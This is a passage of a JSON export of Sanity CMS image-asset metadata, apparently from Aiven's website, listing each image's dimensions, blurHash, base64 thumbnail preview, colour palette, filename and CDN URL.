8041da229cf08b09e92-1600x471.jpg","sha1hash":"1f0487c91b3b9f94104668041da229cf08b09e92","size":126280,"uploadId":"cF0rmsZDiJLNMC4IbwGhaggF6YMxbKR7","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f0487c91b3b9f94104668041da229cf08b09e92-1600x471.jpg"} {"_createdAt":"2022-06-30T19:57:02Z","_id":"image-1f0a96bb80bde0fa887af4ca6e262fea00c3d853-750x275-png","_rev":"cEPH2uRN58AU2lp9QO7glN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:23Z","assetId":"1f0a96bb80bde0fa887af4ca6e262fea00c3d853","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D14_ws.Tb{JCIprqr;Z~aIjE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.727272727272727,"height":275,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/klEQVQYlX2OSW7DMAxFfQs3BdJQIylSg2t5yAgU6Lb3P08hJYuu+vAkfFCkwIEQvXdKgTUavbPGKFAKlFYKTg0A+Dge3w+Ht3F8+WQcB/SeEAkxCpecckpRhBCdtUYbo43VxiitAABOcGoqANXD4JynwCJxmspS61JrneeSs4hQCEiBkNrvr4OEyESByDs3WIeYpvxZ130/n8/bts3zXErJOUtMQRKLCPdLIjMLc4oxigSiQVuPpU7b9XJ/XG73ZV1LKdIHGoHDE+7+iRzCoHxwyy3tj2Xba6055yjCIRD1Lb1vNvzLZ6UXB11W/fVjr99tw97VHpxz1lqt//cXAC1Bmoy2UDUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394147","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#105c75","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#394147","foreground":"#fff","population":1.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b1b4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95c7d8","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e89a5","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d7498","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1f0a96bb80bde0fa887af4ca6e262fea00c3d853-750x275.png","path":"images/sczeoy4w/production/1f0a96bb80bde0fa887af4ca6e262fea00c3d853-750x275.png","sha1hash":"1f0a96bb80bde0fa887af4ca6e262fea00c3d853","size":16754,"uploadId":"6PYA5pNKC9QARKWKxEe2JEM2V3g8sbkG","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f0a96bb80bde0fa887af4ca6e262fea00c3d853-750x275.png"} {"_createdAt":"2022-06-30T19:59:22Z","_id":"image-1f4795cd5554a6e958b5ff8fdb19603c9e2dde86-1443x414-png","_rev":"QRl2cGoCgj0FlAhkRrhwxg","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:40Z","assetId":"1f4795cd5554a6e958b5ff8fdb19603c9e2dde86","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDS$lnb^VsXSjF~WR*RPxuV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.4855072463768115,"height":414,"width":1443},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4klEQVQYlU2RUY7DIAwFuf8pd1v1r0uggMFgeCubtE2kUUyAwbw4qhW5kKF1Y0bv46RjcIdwRz+/D5mQK0MgzJDGkD7gEhGO1wshRKSUwDopgjn3hikTa04bz7mw1gUd54J1f2D93rH8cQpjRAgBOSW01jDGMOn7vWVfVGaPSlV4e2D93LC8h+PaUHIBUbXu7JpjfFChonNVIzkP/BygNVWsQljMcCqwhayivdm4dDREUIjsFjFG5KIN7MzfEWksiuPekWn/lFobamuXHHdWWqec8Xz+Gd57+ONAiNHEJjxz/QfILtU4fB84qQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#920616","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e0513","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f63c51","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1acb2","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7470","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#549c94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f63c51","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1f4795cd5554a6e958b5ff8fdb19603c9e2dde86-1443x414.png","path":"images/sczeoy4w/production/1f4795cd5554a6e958b5ff8fdb19603c9e2dde86-1443x414.png","sha1hash":"1f4795cd5554a6e958b5ff8fdb19603c9e2dde86","size":81558,"uploadId":"LJENVXJkHe1XimduZtUcLqvBlUo10xyu","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f4795cd5554a6e958b5ff8fdb19603c9e2dde86-1443x414.png"} {"_createdAt":"2022-11-16T07:50:50Z","_id":"image-1f5c84759b5bcaafecc99f57f722ca6b89e4d024-2500x1312-png","_rev":"bUMlF7B1Xxw34pzcKfzpGQ","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T07:52:00Z","altText":"Cookie recipe preview image of a hand holding a crab holding a cookie","assetId":"1f5c84759b5bcaafecc99f57f722ca6b89e4d024","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9054878048780488,"height":1312,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACRElEQVQokXWSzVNSURiH+dP6I9q6aFOLNk6OtahFODpNi5pRM80ptPwoBfwsckGaCSIIiMhFEeRDhOBy+bjce0Ewepp71WzT4nfOe86Zed7f+57XJKsdREkjX6yTL8pk8xVDhZKKWNYolBRyBdl4K1Wa1JRf1LUO1foFFbmFbJx/ozQwdlO51uIonsXrP8C1HWBjc4cfrl38QYFg6AjvbhiXJ8iW28/+QfwyaU4iHImxFxJIZQoG/C+wWm+TyhQJRxIE9qL4AhH8e1EOhBMih0lC4WMD7vWFEQ5TJDMFPN4AC4vLWG123Ns+fhblG6C+6BnKtXOk6o1057r0WC9VrDSR5DbprIjT+Y0P7yexWN7hcKwZSfTWGUCdfC21eSPjTo81UCvnaGdVtFORYlxgxznDnGWA2bcDrK/ZiMZS5MQGsnrl8L9SOqjpEg2Hm/PXMzTHLYhLI/isD5kf7sI+cgfv2isCwSBCQqQitzHV/3H4VzpM3wt1mvZ12t39NO/1Uu17SmLyORuzZubGupkfvc/G0gs8298JCUmKkoZJUTso1QY1SaUkaVejcWEAtUiaVt8wjbu95AbH2Lfb2Vyx82VxmuX5UZY+DeFYnmLL5eLwOI1YbmBS6i2U0zzicZqTeJZkpkip3DBK1gJHtB/3oTzqJWr7yGfrNBOD/Yy/NDM18YbV1RXcHi+xxKnhTv8Yk6K0UfIipdQZ6XSBzFkZqdq8BAoJ2s/MqD1dxEbNOId6WHhwC9uT23y1ThO6mkt92K/b9QfxLcG9gbGiHQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434e5f","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#976646","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86d0b","foreground":"#fff","population":1.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8c4d8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2e457","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af6b81","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86d0b","foreground":"#fff","population":1.2,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Cookies_meta_preview.png","path":"images/sczeoy4w/production/1f5c84759b5bcaafecc99f57f722ca6b89e4d024-2500x1312.png","sha1hash":"1f5c84759b5bcaafecc99f57f722ca6b89e4d024","size":1043586,"title":"Aiven cloud cookies meta preview image","uploadId":"VPfF9pMun6jnb6NeoLF4S0abWvfuydEC","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f5c84759b5bcaafecc99f57f722ca6b89e4d024-2500x1312.png"} {"_createdAt":"2022-09-08T16:32:28Z","_id":"image-1f79c09c38cb538ac9122a8a4879225abf84f162-2824x1140-png","_rev":"cEPH2uRN58AU2lp9QO8ShV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:28Z","assetId":"1f79c09c38cb538ac9122a8a4879225abf84f162","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4Qm6gIV01~p-:00IV9H%L%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4771929824561405,"height":1140,"width":2824},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABU0lEQVQYlTWOzU7CQBSF+74KK42+gQobIT6AW4EgYCIkBi0muFAxgKkaw4qf2nY6f71zOxQ2Zqbw5eTcmztzkuNcHNbOD25KhXqucrFeKtTKxYZd6tdnvcng8+f1u3b1eHl0WzluVU/b1ROjynHL6Tc/Hhpv/eboqTV22xO3M3Hb40FnMuhMB53pyP1dzfzlbPHues930+G999Lzhl1v2P0adj2HBGw5/1vO/cAnJKAkpFFAScAYkZwCCERAyQUJaRxyRgQjghqXPJYOIsaERGHIOVcAao/WOss22+02yzKlVJI/QU6ilEJUjtaaUhqFEWMskTLZAwBa681mk2WZ1hoRU0wR0cYwtTjr9ZozRuNYcC6lsJJCmAUA9v/Qhk3Wah9O05TGpjjnzIRMLh92SpG3ADCeGE8SW1sp5QCA768W83kUhoxRKwuluTjfHextB7f8AwLWpHPCBdWxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4c74","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#442a5a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#79579c","foreground":"#fff","population":9.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b49cd3","foreground":"#000","population":0.69,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b69ddc","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#79579c","foreground":"#fff","population":9.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c74be","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1f79c09c38cb538ac9122a8a4879225abf84f162-2824x1140.png","path":"images/sczeoy4w/production/1f79c09c38cb538ac9122a8a4879225abf84f162-2824x1140.png","sha1hash":"1f79c09c38cb538ac9122a8a4879225abf84f162","size":147419,"uploadId":"Z74MDP6rkijIyHuNc7hcyQz1UAZczgLg","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f79c09c38cb538ac9122a8a4879225abf84f162-2824x1140.png"} {"_createdAt":"2022-06-16T22:54:06Z","_id":"image-1f7a7fcddc4a6efab9e24f4a05ee143728792ebe-192x90-png","_rev":"oamrAPLmQLQjd9jh7ZoGjW","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:06Z","assetId":"1f7a7fcddc4a6efab9e24f4a05ee143728792ebe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M00l#aWBWBRjt7M{ofRjoffQofayj[j[fQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1333333333333333,"height":90,"width":192},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsSAAALEgHS3X78AAABFElEQVQokW3RyytFARDH8Xs97ueQV0jKI0k28liwklfyjo1nCIWFhayuBStbf4D/wcq/qGHUdZn6debMmfnOnJlSKQ31akAfpjCKtlQryvX5fyyClUrlS2hED8ZSARzEAIbRUQ8tiuJLv7okLNSShUPoxki+92SsH83//FXpTyChkdzu25pyotZcQ1Hjl/4Dxl5+LECyqJKF7ZlTJLycz1prQRc6A3iABczlrmZSsbtlLGE8NZiNevNY05jM2shdCOA7XnGPDdyl9vCc/ixWsjCmjT0e4wb7OMIuVgP4gTc84gxPqQtUcYtFbOUUcZw40ikesF0D3Q7gC65xifMEXeEQO9EVmznBGuYxgXWcpB/fg1P9BJXOKbB1QNpLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":98.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":98.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-maki-vc.png","path":"images/sczeoy4w/production/1f7a7fcddc4a6efab9e24f4a05ee143728792ebe-192x90.png","sha1hash":"1f7a7fcddc4a6efab9e24f4a05ee143728792ebe","size":1594,"uploadId":"K4idLTEi0ySBzlPUj1H8ddrwdFjaXMBe","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f7a7fcddc4a6efab9e24f4a05ee143728792ebe-192x90.png"} {"_createdAt":"2022-06-01T09:27:29Z","_id":"image-1f96cdceafe9b960b205c068a97313d3235b5e8d-476x250-jpg","_rev":"GjSv6anGmtXXiuXyzfipFA","_type":"sanity.imageAsset","_updatedAt":"2022-06-01T09:27:29Z","assetId":"1f96cdceafe9b960b205c068a97313d3235b5e8d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNPi^.uPxuMJ.SOsMxspcEo3%$McX7xbRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904,"height":250,"width":476},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAgf/xAAiEAABBAICAQUAAAAAAAAAAAACAQMEEQAFEjEGFBUhUXH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAgP/xAAaEQACAwEBAAAAAAAAAAAAAAABAgADESIx/9oADAMBAAIRAxEAPwDvL8DYG+6Tczi2S2KX1k/5ZMl63XAIS7lNOi4VlXIfrLBoUSSS/N/uKt9r4szYwvVMC5Sr3jZpHM0oVWfG8m/Fdx7tp25TipzVVFaSusMax2GmGkbZbEAToRSkwxrBVQDIsYM5YDBP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58463f","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4043c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4cccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f06894","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8c80","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-terms.jpeg","path":"images/sczeoy4w/production/1f96cdceafe9b960b205c068a97313d3235b5e8d-476x250.jpg","sha1hash":"1f96cdceafe9b960b205c068a97313d3235b5e8d","size":29227,"uploadId":"9Dce6T3t7sFLbq43zl2uK7BKtxGyHZHp","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f96cdceafe9b960b205c068a97313d3235b5e8d-476x250.jpg"} {"_createdAt":"2022-06-30T19:58:34Z","_id":"image-1fc8aa443f14ae12b879a8561ab6892cff5d6ead-1438x706-gif","_rev":"CK1sLU2mnwa3vmbYWEc07i","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:16Z","assetId":"1fc8aa443f14ae12b879a8561ab6892cff5d6ead","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M09HCQt7xu%Noz-=aeRiofoLt7aeRPjbWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.036827195467422,"height":706,"width":1438},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAQAG/8QAFxABAQEBAAAAAAAAAAAAAAAAABEBAv/EABYBAQEBAAAAAAAAAAAAAAAAAAACA//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AMDuSQ0jlqkxJA//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4a3b","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4144","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4a3b","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c8e94","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#babbbf","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#71747c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7d84","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"1fc8aa443f14ae12b879a8561ab6892cff5d6ead-1438x706.gif","path":"images/sczeoy4w/production/1fc8aa443f14ae12b879a8561ab6892cff5d6ead-1438x706.gif","sha1hash":"1fc8aa443f14ae12b879a8561ab6892cff5d6ead","size":315254,"uploadId":"j7rWobOOnmIhUjFIRsSExfOl11MpEynZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/1fc8aa443f14ae12b879a8561ab6892cff5d6ead-1438x706.gif"} {"_createdAt":"2024-08-26T03:52:32Z","_id":"image-1ff9520fa5c6de43e3fcd81db5ef09508ab1ff9c-2020x1460-png","_rev":"QJtWNkOOU8d8F4outYUOY8","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:32Z","assetId":"1ff9520fa5c6de43e3fcd81db5ef09508ab1ff9c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VESG6$t7}x%3WU-XjuNFWVjb$na#Inayf8=~a#I-juj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3835616438356164,"height":1460,"width":2020},"exif":{"PixelXDimension":2020,"PixelYDimension":1460,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAABvElEQVQ4jY1S2XLjMAzz///h5k676TSxk9jRSVISOqLt1GkfdjWDoS5CpIDm0nr0g4dzHiEEiAhKKf+Fetc5B2ud5td5Y11ECAQiQoxRo6SElPI/kJSQaMxlZkVTD+YL9UBfDBaePAKFb3CcMK4jjyQioqj5OWc0yxaYBQ9r0NoOl3BBF8ZY0YYWXezGGDo8aAAnVpKKmaORJEjTRs4FkaMSHNxBsbc7bOwGO7vFwe11XeM5fiKkoHnL0RDXPxuFqEOyoI0ttnaLjVljbdZYmT9YmdU0X+kDp3CCE/fMe1Y4974k7KjViirBTDrHinr2ET5+Edbx8ocoQCoJN7rh6I7Y27HFuc2Kun/yf7WLueVSFhUuCavaLALDBtd41c9/Ina611Ov5148OMlvUeaJCkKMh3V4eANDBpaswkzRkoNnr9Yhoadd0uLbVGV9pRQQCQZj0E22qRap8Rw+cQ5nXc8YqF/YpnxXOKqcXmxTE46TZWa1t2qdnWLv9rjEMyiTCrEcjcgPlYuoKG/+7enFn3j377jRFZxZc5Y6vIiiwuQEIw9c6arEPd/Rc48733V9pxsGHlThXPILYa3wC+eFPQfbVXWuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c237c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#181e6b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aad4ad","foreground":"#000","population":0.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aad4ad","foreground":"#000","population":0.99,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a9eca4","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#526592","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7078de","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_kafka_topic_ongoing.png","path":"images/sczeoy4w/production/1ff9520fa5c6de43e3fcd81db5ef09508ab1ff9c-2020x1460.png","sha1hash":"1ff9520fa5c6de43e3fcd81db5ef09508ab1ff9c","size":426075,"uploadId":"l5bx3zmFdHplPL2zTKWZsgn6ZhRp8XeE","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ff9520fa5c6de43e3fcd81db5ef09508ab1ff9c-2020x1460.png"} {"_createdAt":"2023-11-09T11:36:57Z","_id":"image-2001a30869514ab3db4a489d171e6ed6a64b9dbb-1700x631-jpg","_rev":"NWrqsLAqXssHXTeZSEtjHs","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T11:36:57Z","assetId":"2001a30869514ab3db4a489d171e6ed6a64b9dbb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DEE:Y:00_4x^4m%2D$-=bw%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6941362916006337,"height":631,"width":1700},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAcG/8QAIxAAAQMCBQUAAAAAAAAAAAAAAQACBQMEBgcREiETIjFBgf/EABUBAQEAAAAAAAAAAAAAAAAAAAQD/8QAGhEBAQACAwAAAAAAAAAAAAAAAQACAxEhMf/aAAwDAQACEQMRAD8Aksbh90xctu5K5fXJPc3Xk/VUspaFrHTldljSFIPDWPb51HpET05HJ9hj2Fv5/MWLw9Iuj719frsAJ2MJHKIiFlsRSsX/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#222f3c","foreground":"#fff","population":2.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a295c","foreground":"#fff","population":6.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcccdb","foreground":"#000","population":6.82,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccdb","foreground":"#000","population":6.82,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bccdec","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#71777c","foreground":"#fff","population":6.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b7eb1","foreground":"#fff","population":3.35,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"idealo-newsroom-office2022.jpg","path":"images/sczeoy4w/production/2001a30869514ab3db4a489d171e6ed6a64b9dbb-1700x631.jpg","sha1hash":"2001a30869514ab3db4a489d171e6ed6a64b9dbb","size":214549,"uploadId":"ok41xz3wtajsD0VsegMDodJyHJHtuOXj","url":"https://cdn.sanity.io/images/sczeoy4w/production/2001a30869514ab3db4a489d171e6ed6a64b9dbb-1700x631.jpg"} {"_createdAt":"2022-06-14T14:41:04Z","_id":"image-201f6ab4251fc0ac2f5fdee9e54ab4f1176b7f80-300x300-jpg","_rev":"0HOthdQkSgJdYc0C9r2gGI","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:04Z","assetId":"201f6ab4251fc0ac2f5fdee9e54ab4f1176b7f80","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"exPi^$kC?^aeVs_2ofWVj]M{E1WBV?j[xu.8j[WBofRjR*ayRiazj]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAYHCAX/xAAjEAABBAICAgIDAAAAAAAAAAABAAIDBAUGERMHIRIiFDFh/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAIDBP/EABsRAAIDAAMAAAAAAAAAAAAAAAABAgMREiFB/9oADAMBAAIRAxEAPwDTGxWJ6uFtzVCwTsYS0u/QKgWl7HmHZqCpk7UVuKwDwWjgsKm+z26MGKnjv2oYBI0tHzcByVWmjS1Y9ia6+eqJgIiklIaHP/ihZvOOM1UqLrlq7LiRAQQCDyEVzKYD8k7Pl8vuGSlvXJX9U5bG0OIawA+uAuTbz+Vuug/KvTydQ+gLz9URGD+GuPB2x5LKePac1+fulY90Ye4eyBxxyiIgRn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e2f2a","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#683b25","foreground":"#fff","population":1.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c08978","foreground":"#000","population":1.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dabeb1","foreground":"#000","population":1.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecafa2","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57758","foreground":"#fff","population":0.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c